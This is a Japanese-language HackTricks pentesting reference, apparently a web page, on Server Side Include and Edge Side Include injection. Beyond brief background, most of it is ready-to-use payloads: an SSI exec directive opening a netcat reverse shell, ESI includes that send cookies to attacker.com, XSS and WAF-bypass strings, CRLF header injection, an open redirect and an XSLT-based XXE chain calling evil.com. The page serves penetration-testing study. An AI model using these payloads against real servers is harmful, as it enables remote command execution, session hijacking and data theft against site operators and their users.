サーバーサイドインクルージョン/エッジサイドインクルージョンインジェクション

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サーバーサイドインクルージョン基本情報

(紹介は Apache docsからのものです)

SSI (Server Side Includes) は、HTMLページに配置され、ページが提供される際にサーバーで評価される指示文です。これにより、既存のHTMLページに動的に生成されたコンテンツを追加することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。
例えば、既存のHTMLページに次のような指示文を配置することができます:

<!--#echo var="DATE_LOCAL" -->

そして、ページが提供されると、この断片は評価され、その値に置き換えられます:

Tuesday, 15-Jan-2013 19:28:54 EST

SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。

ウェブアプリケーションが**.shtml.shtm、または.stm**の拡張子を持つファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。

典型的なSSI表現は次の形式を持っています:

<!--#directive param="value" -->

チェック

javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

情報をキャッシュすることや動的アプリケーションに関する問題があり、コンテンツの一部は次回コンテンツが取得される際に異なる可能性があります。これがESIが使用される理由であり、ESIタグを使用して生成する必要がある動的コンテンツを示します。
もし攻撃者がキャッシュコンテンツ内にESIタグを注入できれば、ユーザーに送信される前に文書に任意のコンテンツを注入できる可能性があります。

ESI Detection

サーバーからのレスポンスにおける以下のヘッダーは、サーバーがESIを使用していることを意味します:

Surrogate-Control: content="ESI/1.0"

このヘッダーが見つからない場合、サーバーはそれでもESIを使用している可能性があります
盲目的なエクスプロイト手法も使用可能です。攻撃者のサーバーにリクエストが到着する必要があります:

javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESIの悪用

GoSecureが作成した表は、サポートされている機能に応じて、さまざまなESI対応ソフトウェアに対して試すことができる可能性のある攻撃を理解するためのものです。

  • Includes: <esi:includes>ディレクティブをサポート
  • Vars: <esi:vars>ディレクティブをサポート。XSSフィルターを回避するのに便利
  • Cookie: ドキュメントクッキーはESIエンジンにアクセス可能
  • Upstream Headers Required: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
  • Host Allowlist: この場合、ESIのインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
ソフトウェアIncludesVarsCookiesUpstream Headers RequiredHost Whitelist
Squid3はいはいはいはいいいえ
Varnish Cacheはいいいえいいえはいはい
Fastlyはいいいえいいえいいえはい
Akamai ESIテストサーバー (ETS)はいはいはいいいえいいえ
NodeJS esiはいはいはいいいえいいえ
NodeJS nodesiはいいいえいいえいいえオプション

XSS

次のESIディレクティブは、サーバーのレスポンス内に任意のファイルをロードします。

xml
<esi:include src=http://attacker.com/xss.html>

クライアントXSS保護のバイパス

xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

クッキーを盗む

  • リモートクッキーを盗む
xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • XSSを使用してHTTP_ONLYクッキーを盗むには、それをレスポンスに反映させます:
bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

プライベートローカルファイル

これを「ローカルファイルインクルージョン」と混同しないでください:

html
<esi:include src="secret.txt">

CRLF

html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

以下は、レスポンスに Location ヘッダーを追加します。

bash
<!--esi $add_header('Location','http://attacker.com') -->

ヘッダーを追加

  • 強制リクエストにヘッダーを追加
xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • レスポンスにヘッダーを追加する(XSSを使用したレスポンスで「Content-Type: text/json」をバイパスするのに役立ちます)
bash
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Add header (CVE-2019-2438)

xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

この操作は、レスポンスに含まれるデバッグ情報を送信します:

xml
<esi:debug/>

ESI + XSLT = XXE

ESIで**eXtensible Stylesheet Language Transformations (XSLT)構文を使用することが可能であり、単にパラメータdcaの値をxslt**として指定するだけです。これにより、XSLTを悪用してXML外部エンティティ脆弱性(XXE)を作成および悪用することができるかもしれません:

xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLTファイル:

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

XSLTページを確認してください:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

参考文献

ブルートフォース検出リスト

Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする